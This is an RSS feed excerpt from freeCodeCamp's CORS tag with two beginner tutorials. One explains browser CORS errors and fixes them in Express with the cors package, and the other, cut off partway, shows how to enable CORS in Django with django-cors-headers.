<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ CORS - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ CORS - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Thu, 28 May 2026 20:56:59 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/cors/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Fix Cross-Origin Errors — CORS Error Explained ]]>
                </title>
                <description>
                    <![CDATA[ In this article, you’ll learn about an important concept: Cross-Origin Resource Sharing (CORS) policy. As a developer, you might encounter a situation where a client request to the server fails, and the browser displays a red error like "CORS policy ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-fix-cross-origin-errors/</link>
                <guid isPermaLink="false">68dd33665127fbf96fe7c03f</guid>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sumit Saha ]]>
                </dc:creator>
                <pubDate>Wed, 01 Oct 2025 13:57:58 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759324719020/8c59e405-107b-4e45-acab-c61cbf353d0b.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this article, you’ll learn about an important concept: Cross-Origin Resource Sharing (CORS) policy. As a developer, you might encounter a situation where a client request to the server fails, and the browser displays a red error like "CORS policy failed." Even when the request is correctly implemented, this error can still occur.</p>
<p>Some beginners may search online or copy temporary fixes, which may solve the issue without providing real understanding. Here, we’ll break down CORS in a clear way so you can understand why it happens and how to fix it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758399944364/ea17ff8c-3791-45df-bcc6-276eeeab0af1.png" alt="CORS Error" class="image--center mx-auto" width="1920" height="1076" loading="lazy"></p>
<h2 id="heading-heres-what-well-cover">Here’s What We’ll Cover</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-project-setup">Project Setup</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-demonstration-client-server-interaction">Demonstration: Client-Server Interaction</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-is-origin">What is Origin?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-does-the-browser-mean-by-cors-policy">What Does the Browser Mean by CORS Policy?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-fix-cors-policy-errors">How to Fix CORS Policy Errors</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-additional-notes-on-cors">Additional Notes on CORS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-summary">Summary</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-final-words">Final Words</a></p>
</li>
</ul>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>To follow along and get the most out of this guide, you should have:</p>
<ol>
<li><p>Basic knowledge of JavaScript — You should be familiar with JavaScript syntax, functions, and the fetch API to make HTTP requests from the client side.</p>
</li>
<li><p>Node.js and <code>npm</code> installed — You will use Node.js for the server-side setup and <code>npm</code> to manage packages. You can download Node.js from <a target="_blank" href="https://nodejs.org">here</a>.</p>
</li>
<li><p>A code editor (like VS Code) — You will need a code editor like <a target="_blank" href="https://code.visualstudio.com/">VS Code</a> to write and run your client and server files.</p>
</li>
<li><p>Basic knowledge of HTTP methods — Knowledge of GET, POST, PUT, DELETE requests will help you understand how the browser and server communicate.</p>
</li>
<li><p>A browser with Developer Tools — Chrome, Firefox, or Edge with Developer Tools.</p>
</li>
<li><p>Optional but helpful: VS Code Live Server extension — This helps run your HTML files locally for testing client-server requests.</p>
</li>
</ol>
<p>I’ve also created a video to go along with this article. If you’re the type who likes to learn from video as well as text, you can check it out here:</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/rYVGbOMV8Ng" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<p> </p>
<h2 id="heading-project-setup">Project Setup</h2>
<p>Before exploring CORS, let's set up a basic client and server.</p>
<h3 id="heading-initialize-the-server">Initialize the Server</h3>
<p>First, create a project folder named <code>cors-tutorial</code>, and inside that folder, create another folder called <code>server</code>. Then, navigate into the <code>server</code> folder and initialize a Node project. Run the commands below one by one:</p>
<pre><code class="lang-powershell">mkdir cors<span class="hljs-literal">-tutorial</span>
<span class="hljs-built_in">cd</span> cors<span class="hljs-literal">-tutorial</span>
mkdir server
<span class="hljs-built_in">cd</span> server
npm init <span class="hljs-literal">-y</span>
</code></pre>
<h3 id="heading-install-required-packages">Install Required Packages</h3>
<p>For the basic server setup, you will use a popular Node.js framework, <a target="_blank" href="https://expressjs.com/">Express.js</a>. Install it with the following command:</p>
<pre><code class="lang-powershell">npm install express
</code></pre>
<h3 id="heading-create-server-file">Create Server File</h3>
<p>Create a <code>server/app.js</code> file. Inside the file, import the installed Express package and initialize the app using the <code>express()</code> function. Then, create a route <code>/data</code> that returns a simple JSON object.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// server/app.js</span>
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> app = express();

app.get(<span class="hljs-string">"/data"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.json({
        <span class="hljs-attr">name</span>: <span class="hljs-string">"Bangladesh"</span>,
        <span class="hljs-attr">description</span>: <span class="hljs-string">"Land of emotions"</span>,
    });
});

app.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Server is running on http://localhost:3000"</span>);
});
</code></pre>
<h3 id="heading-run-the-server">Run The Server</h3>
<p>Now start the server with the following command:</p>
<pre><code class="lang-javascript">node app.js
</code></pre>
<h3 id="heading-client-setup">Client Setup</h3>
<p>It’s time to setup the Client. Create an <code>index.html</code> and <code>script.js</code> file inside the <code>cors-tutorial</code> folder.</p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!-- index.html --&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>What is CORS<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"fetchData()"</span>&gt;</span>Fetch Data<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"./script.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<pre><code class="lang-javascript"><span class="hljs-comment">// script.js</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fetchData</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">"http://localhost:3000/data"</span>, {
    <span class="hljs-attr">method</span>: <span class="hljs-string">"GET"</span>,
  });

  <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();
  <span class="hljs-built_in">console</span>.log(data);
}
</code></pre>
<h2 id="heading-demonstration-client-server-interaction">Demonstration: Client-Server Interaction</h2>
<h3 id="heading-client-side">Client Side</h3>
<ul>
<li><p><code>index.html</code> has a single button labeled <code>Fetch Data</code>.</p>
</li>
<li><p>The client runs on <code>127.0.0.1:5500</code> using VS Code Live Server.</p>
</li>
<li><p>Browser console is open to view logs.</p>
</li>
</ul>
<h3 id="heading-server-side">Server Side</h3>
<ul>
<li><p>A minimal Express server is in the <code>server</code> folder.</p>
</li>
<li><p><code>app.js</code> contains the <code>/data</code> route that returns:</p>
<pre><code class="lang-json">  {
    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Bangladesh"</span>,
    <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Land of emotions"</span>
  }
</code></pre>
</li>
<li><p>Server is running on <code>localhost:3000</code></p>
</li>
</ul>
<h3 id="heading-how-it-works">How it Works</h3>
<ul>
<li><p>Clicking the <strong>Fetch Data</strong> button calls <code>fetchData()</code> from <code>script.js</code>.</p>
</li>
<li><p><code>fetchData()</code> sends a GET request to the server and logs the JSON response.</p>
</li>
<li><p>Directly visiting <code>localhost:3000/data</code> also shows the JSON output.</p>
</li>
<li><p>Since client and server ports differ, you may see a CORS-related error message in the console.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758400085132/e5dbc478-b6c4-429a-b113-3e0b24db7f55.png" alt="Access-Control-Allow-Origin CORS error" class="image--center mx-auto" width="1920" height="1080" loading="lazy"></p>
<h3 id="heading-notes">Notes</h3>
<ul>
<li><p>Python, PHP or other backend languages can be used similarly to create an API.</p>
</li>
<li><p>This demonstration shows how the client interacts with the server before handling CORS issues.</p>
</li>
</ul>
<h2 id="heading-what-is-origin">What is Origin?</h2>
<p>Origin means the source where the request is coming from. I made the request from <code>127.0.0.1:5500</code> and I'm trying to access data on <code>localhost:3000</code>. Both are URLs but they are different, right? When we say URL we mean the domain part, not the full path. <code>localhost</code> and <code>127.0.0.1</code> look the same but they are different as far as origin is concerned. The ports are also different. Because of that, the URL or origin is considered different.</p>
<p>So the source and the server are different, and that's why it says "has been blocked by CORS policy" and "No 'Access-Control-Allow-Origin' header is present on the requested resource." When a beginner sees this, they may not understand the whole process: why it happens and how it happens. We'll learn that now and how to solve it.</p>
<h2 id="heading-what-does-the-browser-mean-by-cors-policy">What Does the Browser Mean by CORS Policy?</h2>
<p>Imagine your website is <code>xyz.com</code> and that's our frontend. And your server is <code>www.abc.com</code>, a different domain, These two are different domains. We expect <code>xyz.com</code> to make a request to <code>abc.com</code> and <code>abc.com</code> to send a response — simple.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758400245846/8e04ca91-073a-4da5-a19b-355a9178be85.jpeg" alt="Request - Response Visualisation" class="image--center mx-auto" width="1920" height="1080" loading="lazy"></p>
<p>The code we wrote should work, but sometimes it doesn't, which can be confusing. Why does this happen? The reason is simple: the CORS policy is blocking the request. CORS policy is a browser policy. Its full form is Cross-Origin Resource Sharing (CORS).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758400326775/22ebc6fd-9479-4fe9-aad7-0a752dadef8c.jpeg" alt="Cross-Origin Resource Sharing (CORS)" class="image--center mx-auto" width="1920" height="1080" loading="lazy"></p>
<p>In simple terms, if the domain of the requester is different from the domain of the receiver, then by default, the browser will reject the request. Although it may reach the server, the browser will refuse to deliver the response to the client. That's why we see this behaviour.</p>
<h2 id="heading-how-to-fix-cors-policy-errors">How to Fix CORS Policy Errors</h2>
<p>This task needs to be handled on the server side. First, open the browser Network tab. When you make the request, reload and clear everything, then click <code>fetchData</code>. Notice the request details. Each request has two parts: Request Headers and Response Headers.</p>
<p>Request headers are sent by the browser and include metadata and browser-related information. Response headers are generated by the server and also contain metadata, while the request headers are created by the client (the browser).</p>
<p>If you inspect the response side, the error says: "No 'Access-Control-Allow-Origin' header is present on the requested resource". So you need to look for this header in the response. In the Network tab, if you check the response headers, you’ll see that there is no <code>Access-Control-Allow-Origin</code>. If the response had that header, the browser would allow access. So you have to add the appropriate header to the response.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758400366863/51da88e4-b44d-4d99-b50c-9dd0064b9236.png" alt="Missing Access-Control-Allow-Header" class="image--center mx-auto" width="1046" height="595" loading="lazy"></p>
<p>So what should we do? If you want to fix this in a Node.js/Express setup, go to the <code>app.js</code> file in the <code>server</code> folder. Stop the server and install the <code>cors</code> package:</p>
<pre><code class="lang-powershell">npm install cors
</code></pre>
<p>After installing the package, restart the server. Next import the package and tell the app to use it. The <code>cors()</code> function can accept an <code>origin</code> option. If we set <code>origin</code> to <code>localhost:5500</code>, which is our client's URL, the server will allow only that origin. If you want to allow multiple origins, you can pass an array of URLs. Here, I'm setting a single URL because the client runs on port 5500. That means requests from other addresses won't be allowed.</p>
<p>You can now reload, clear the console, and click <code>fetchData</code> again, but you’ll still have an issue. Why? Because the client URL was using <code>127.0.0.1</code> instead of <code>localhost</code>. That's a variation, and the origin must match exactly. So you can change it to <code>127.0.0.1:5500</code> in the server config.</p>
<p>Now you can reload, clear, and click <code>fetchData</code>. Everything should work as expected now: there's no error the response was sent, and the data was printed to the console.</p>
<p>If you inspect the network response headers for the data request, you should see <code>Access-Control-Allow-Origin: http://127.0.0.1:5500</code>. That means the server responded with the CORS header and allowed that origin. Since the origin matched, the request succeeded. The takeaway: the server must include an <code>Access-Control-Allow-Origin</code> header specifying the allowed domain. If you want to allow every origin (for a public API) you can use <code>*</code>. In Express, you can also simply call <code>app.use(cors())</code> to allow all origins. That will make the server accept requests from any origin.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// server/app.js</span>
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> cors = <span class="hljs-built_in">require</span>(<span class="hljs-string">"cors"</span>);
<span class="hljs-keyword">const</span> app = express();

<span class="hljs-comment">// Enable CORS for the client origin</span>
app.use(cors({ <span class="hljs-attr">origin</span>: <span class="hljs-string">"http://127.0.0.1:5500"</span> }));

app.put(<span class="hljs-string">"/data"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.json({
        <span class="hljs-attr">name</span>: <span class="hljs-string">"Bangladesh"</span>,
        <span class="hljs-attr">description</span>: <span class="hljs-string">"Land of emotions"</span>,
    });
});

app.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Server is running on http://localhost:3000"</span>);
});
</code></pre>
<p>This ensures the server explicitly allows the client origin, resolving CORS policy errors.</p>
<h2 id="heading-additional-notes-on-cors">Additional Notes on CORS</h2>
<p>One more thing to note. The request we were sending from the client was a GET request. For GET, POST, DELETE, the process is straightforward. But for methods like PUT, which modify data on the server, CORS behaves slightly differently. If you change the client to send a PUT request and the server defines an <code>app.put</code> route, you'll notice two requests in the network panel. The browser sends a preflight request first. This is the browser’s way of checking whether it's allowed to send the actual request. That preflight request is an <code>OPTIONS</code> request sent automatically by the browser before the actual PUT request.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// server/app.js</span>
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> cors = <span class="hljs-built_in">require</span>(<span class="hljs-string">"cors"</span>);

<span class="hljs-keyword">const</span> app = express();
app.use(
    cors({
        <span class="hljs-attr">origin</span>: <span class="hljs-string">"http://127.0.0.1:5500"</span>,
        <span class="hljs-attr">methods</span>: [<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>],
    })
);

app.put(<span class="hljs-string">"/data"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.json({
        <span class="hljs-attr">name</span>: <span class="hljs-string">"Bangladesh"</span>,
        <span class="hljs-attr">description</span>: <span class="hljs-string">"Land of emotions"</span>,
    });
});

app.listen(<span class="hljs-number">3000</span>);
</code></pre>
<pre><code class="lang-javascript"><span class="hljs-comment">// script.js</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fetchData</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">"http://localhost:3000/data"</span>, {
        <span class="hljs-attr">method</span>: <span class="hljs-string">"PUT"</span>,
    });

    <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();

    <span class="hljs-built_in">console</span>.log(data);
}
</code></pre>
<p>When you look at the preflight request in the Network tab, you will see response headers that include <code>Access-Control-Allow-Methods</code> and other CORS headers. The default <code>cors</code> package allows all methods like <code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>HEAD</code>, <code>PATCH</code>, and so on. If you want tighter security, you can specify allowed methods in the CORS configuration. For example, set the <code>methods</code> option to <code>['GET', 'POST']</code> to allow only GET and POST and disallow PUT and DELETE. Even if the origin matches, if the method is not allowed, the preflight will fail and the actual request will be blocked.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758400423187/0186a5b6-b3fb-4ead-8ee8-aac847d28852.png" alt="Preflight Request Example" class="image--center mx-auto" width="660" height="367" loading="lazy"></p>
<p>If you perform the same request with disallowed methods, it will fail. The console will show the exact CORS error message. Now that you understand the flow, you'll be able to explain in an interview:<br>"Access to fetch at [URL-1] from origin [URL-2] has been blocked by CORS policy: The PUT method is not allowed by Access-Control-Allow-Methods in preflight response." The preflight check saw <code>Access-Control-Allow-Methods: GET, POST</code> and therefore blocked the PUT request.</p>
<p>So you can control CORS behaviour using two main things: <code>Access-Control-Allow-Origin</code> and <code>Access-Control-Allow-Methods</code>. If you understand these and configure them on the server, you can control which origins and methods are allowed. This is ultimately what the CORS policy is: a browser-enforced security measure. Browsers implement this standard pattern so that if the server does not send the proper headers, the browser will not allow the client to access the response.</p>
<h2 id="heading-summary">Summary</h2>
<ul>
<li><p>CORS (Cross-Origin Resource Sharing) is a browser-enforced security mechanism that blocks requests from different origins unless explicitly allowed by the server.</p>
</li>
<li><p>Origin is determined by protocol, domain, and port. Even small differences like <code>localhost</code> vs <code>127.0.0.1</code> or different ports make the origin different.</p>
</li>
<li><p>Browsers block responses if the server does not include the <code>Access-Control-Allow-Origin</code> header for the requesting origin.</p>
</li>
<li><p>The Node.js <code>cors</code> package can help handle CORS easily. Using <code>app.use(cors({ origin: "</code><a target="_blank" href="http://127.0.0.1:5500"><code>http://127.0.0.1:5500</code></a><code>" }))</code> allows only the specified client origin.</p>
</li>
<li><p>For methods like PUT, DELETE, and PATCH, browsers send a preflight <code>OPTIONS</code> request first to check if the method and origin are allowed.</p>
</li>
<li><p>The <code>Access-Control-Allow-Methods</code> header defines which HTTP methods the server permits. If a method is disallowed, the preflight fails, and the request is blocked.</p>
</li>
<li><p>Proper configuration of <code>Access-Control-Allow-Origin</code> and <code>Access-Control-Allow-Methods</code> ensures safe and functional client-server communication.</p>
</li>
<li><p>Always match the client origin exactly and allow only necessary methods for security. Public APIs can use <code>*</code> to allow all origins.</p>
</li>
</ul>
<h2 id="heading-final-words">Final Words</h2>
<p>You can find all the source code for this tutorial in <a target="_blank" href="https://github.com/logicbaselabs/cors-tutorial">this GitHub repository</a>. If it helped you in any way, consider giving it a star to show your support!</p>
<p>Also, if you found the information here valuable, feel free to share it with others who might benefit from it. I’d really appreciate your thoughts – mention me on X <a target="_blank" href="https://x.com/sumit_analyzen">@sumit_analyzen</a> or on Facebook <a target="_blank" href="https://facebook.com/sumit.analyzen">@sumit.analyzen</a>, <a target="_blank" href="https://youtube.com/@logicBaseLabs">watch my coding tutorials</a>, or simply <a target="_blank" href="https://www.linkedin.com/in/sumitanalyzen/">connect with me on LinkedIn</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Enable CORS in Django ]]>
                </title>
                <description>
                    <![CDATA[ If you've ever tried to connect your frontend app to your Django backend and suddenly hit an error that looks something like "has been blocked by CORS policy", you're not alone. It’s frustrating, especially when your code seems fine. So what’s going ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-enable-cors-in-django/</link>
                <guid isPermaLink="false">680fa40e9096ceb5eeedd90e</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Django ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Udemezue John ]]>
                </dc:creator>
                <pubDate>Mon, 28 Apr 2025 15:51:42 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745855234567/f09d3338-c824-4cd8-a26f-93bb485f925a.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you've ever tried to connect your frontend app to your Django backend and suddenly hit an error that looks something like <strong>"has been blocked by CORS policy"</strong>, you're not alone. It’s frustrating, especially when your code seems fine.</p>
<p>So what’s going on?</p>
<p>This is where <strong>CORS</strong> (Cross-Origin Resource Sharing) comes in. It's a browser security feature that blocks web pages from making requests to a different domain than the one that served the web page.</p>
<p>It’s there to protect users, but if it’s not configured correctly, it can stop your app from working the way you want.</p>
<p>Let’s fix that.</p>
<p>In this article, I’ll walk you through everything you need to know to enable CORS in Django without headaches.</p>
<h3 id="heading-heres-what-well-cover">Here’s what we’ll cover:</h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-is-cors-and-why-should-you-care">What is CORS and Why Should You Care?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-enable-cors-in-django">How to Enable CORS in Django</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-install-django-cors-headers">1. Install django-cors-headers</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-add-it-to-installedapps">2. Add It to INSTALLED_APPS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-add-middleware">3. Add Middleware</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-4-set-the-allowed-origins">4. Set the Allowed Origins</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-optional-settings-you-might-need">Optional Settings You Might Need</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-allow-all-origins-not-recommended-for-production">Allow All Origins (Not Recommended for Production)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-allow-credentials-cookies-auth">Allow Credentials (Cookies, Auth)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-allow-specific-headers">Allow Specific Headers</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-example-full-settings-file-snippet">Example: Full Settings File Snippet</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-common-errors-and-how-to-fix-them">Common Errors (And How to Fix Them)</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-cors-not-working-at-all">1. CORS Not Working At All?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-preflight-request-fails-options-method">2. Preflight Request Fails (OPTIONS method)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-using-django-rest-framework">3. Using Django Rest Framework?</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-faqs">FAQs</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-can-i-allow-multiple-frontend-urls">Can I allow multiple frontend URLs?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-does-cors-affect-local-development-only">Does CORS affect local development only?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-is-it-secure-to-allow-all-origins">Is it secure to allow all origins?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-do-i-need-to-change-anything-on-the-frontend">Do I need to change anything on the frontend?</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-further-resources">Further Resources</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-final-thoughts">Final Thoughts</a></p>
</li>
</ul>
<h2 id="heading-what-is-cors-and-why-should-you-care">What is CORS and Why Should You Care?</h2>
<p>Before you start changing settings, it’s important to understand what CORS is.</p>
<p>Imagine you have a frontend built with React running on <code>http://localhost:3000</code> and a Django API running on <code>http://localhost:8000</code>.</p>
<p>When the frontend tries to talk to the backend, your browser sees that they’re not the same origin (they have different ports), and it blocks the request.</p>
<p>That’s CORS doing its job. It assumes you might be trying to do something unsafe – like stealing cookies or user data – so it steps in.</p>
<p>Now, as a developer, if you trust the frontend and you own both ends, then it’s safe to let those requests through. You just need to tell Django it’s okay.</p>
<h2 id="heading-how-to-enable-cors-in-django">How to Enable CORS in Django</h2>
<p>You’re going to need a third-party package called <code>django-cors-headers</code>. It’s widely used and actively maintained. Here’s how to set it up:</p>
<h3 id="heading-1-install-django-cors-headers">1. Install <code>django-cors-headers</code></h3>
<p>Run this in your terminal:</p>
<pre><code class="lang-bash">pip install django-cors-headers
</code></pre>
<p>This adds the package to your environment so Django can use it.</p>
<h3 id="heading-2-add-it-to-installedapps">2. Add It to <code>INSTALLED_APPS</code></h3>
<p>Open your <code>settings.py</code> file and find the <code>INSTALLED_APPS</code> section. Add this line:</p>
<pre><code class="lang-python">INSTALLED_APPS = [
    ...
    <span class="hljs-string">'corsheaders'</span>,
]
</code></pre>
<p>This registers the app with Django.</p>
<h3 id="heading-3-add-middleware">3. Add Middleware</h3>
<p>Now scroll down to the <code>MIDDLEWARE</code> section in <code>settings.py</code>. Add this <strong>at the top of the list</strong>:</p>
<pre><code class="lang-python">MIDDLEWARE = [
    <span class="hljs-string">'corsheaders.middleware.CorsMiddleware'</span>,
    <span class="hljs-string">'django.middleware.common.CommonMiddleware'</span>,
    ...
]
</code></pre>
<p><strong>Why at the top?</strong> Because middleware in Django runs in order. If you don’t place it at the top, the CORS headers might not be added correctly, and your browser will still block your requests.</p>
<h3 id="heading-4-set-the-allowed-origins">4. Set the Allowed Origins</h3>
<p>This is where you tell Django which origins are allowed to talk to your backend.</p>
<p>Still in <code>settings.py</code>, add:</p>
<pre><code class="lang-python">CORS_ALLOWED_ORIGINS = [
    <span class="hljs-string">"http://localhost:3000"</span>,
]
</code></pre>
<p>Replace <code>localhost:3000</code> with whatever domain or port your frontend is using. If you're using HTTPS or deploying, make sure to include the correct URL, like <code>https://yourfrontend.com</code>.</p>
<p>And that’s it! You’re now allowing your frontend to access your backend.</p>
<h2 id="heading-optional-settings-you-might-need">Optional Settings You Might Need</h2>
<p>Depending on your project, you might run into other issues. Here are some extra settings you might find useful:</p>
<h3 id="heading-allow-all-origins-not-recommended-for-production">Allow All Origins (Not Recommended for Production)</h3>
<p>If you’re just testing and want to allow everything (be careful with this), you can use:</p>
<pre><code class="lang-python">CORS_ALLOW_ALL_ORIGINS = <span class="hljs-literal">True</span>
</code></pre>
<p>Again, don’t use this in production unless you understand the risks. It can open up your API to abuse.</p>
<h3 id="heading-allow-credentials-cookies-auth">Allow Credentials (Cookies, Auth)</h3>
<p>If your frontend is sending authentication credentials like cookies or tokens, you also need this:</p>
<pre><code class="lang-python">CORS_ALLOW_CREDENTIALS = <span class="hljs-literal">True</span>
</code></pre>
<p>And make sure you <strong>don’t</strong> use <code>CORS_ALLOW_ALL_ORIGINS</code> with this setting – it won’t work due to security rules. Stick to <code>CORS_ALLOWED_ORIGINS</code>.</p>
<h3 id="heading-allow-specific-headers">Allow Specific Headers</h3>
<p>By default, common headers are allowed, but if you’re sending custom ones (like <code>X-Auth-Token</code>), you can add:</p>
<pre><code class="lang-python">CORS_ALLOW_HEADERS = [
    <span class="hljs-string">"content-type"</span>,
    <span class="hljs-string">"authorization"</span>,
    <span class="hljs-string">"x-auth-token"</span>,
    ...
]
</code></pre>
<h2 id="heading-example-full-settings-file-snippet">Example: Full Settings File Snippet</h2>
<p>Here’s a mini version of what your <code>settings.py</code> might look like after setup:</p>
<pre><code class="lang-python">INSTALLED_APPS = [
    ...
    <span class="hljs-string">'corsheaders'</span>,
    ...
]

MIDDLEWARE = [
    <span class="hljs-string">'corsheaders.middleware.CorsMiddleware'</span>,
    <span class="hljs-string">'django.middleware.common.CommonMiddleware'</span>,
    ...
]

CORS_ALLOWED_ORIGINS = [
    <span class="hljs-string">"http://localhost:3000"</span>,
]

CORS_ALLOW_CREDENTIALS = <span class="hljs-literal">True</span>
</code></pre>
<p>You can tweak this based on your needs, but that’s the basic structure.</p>
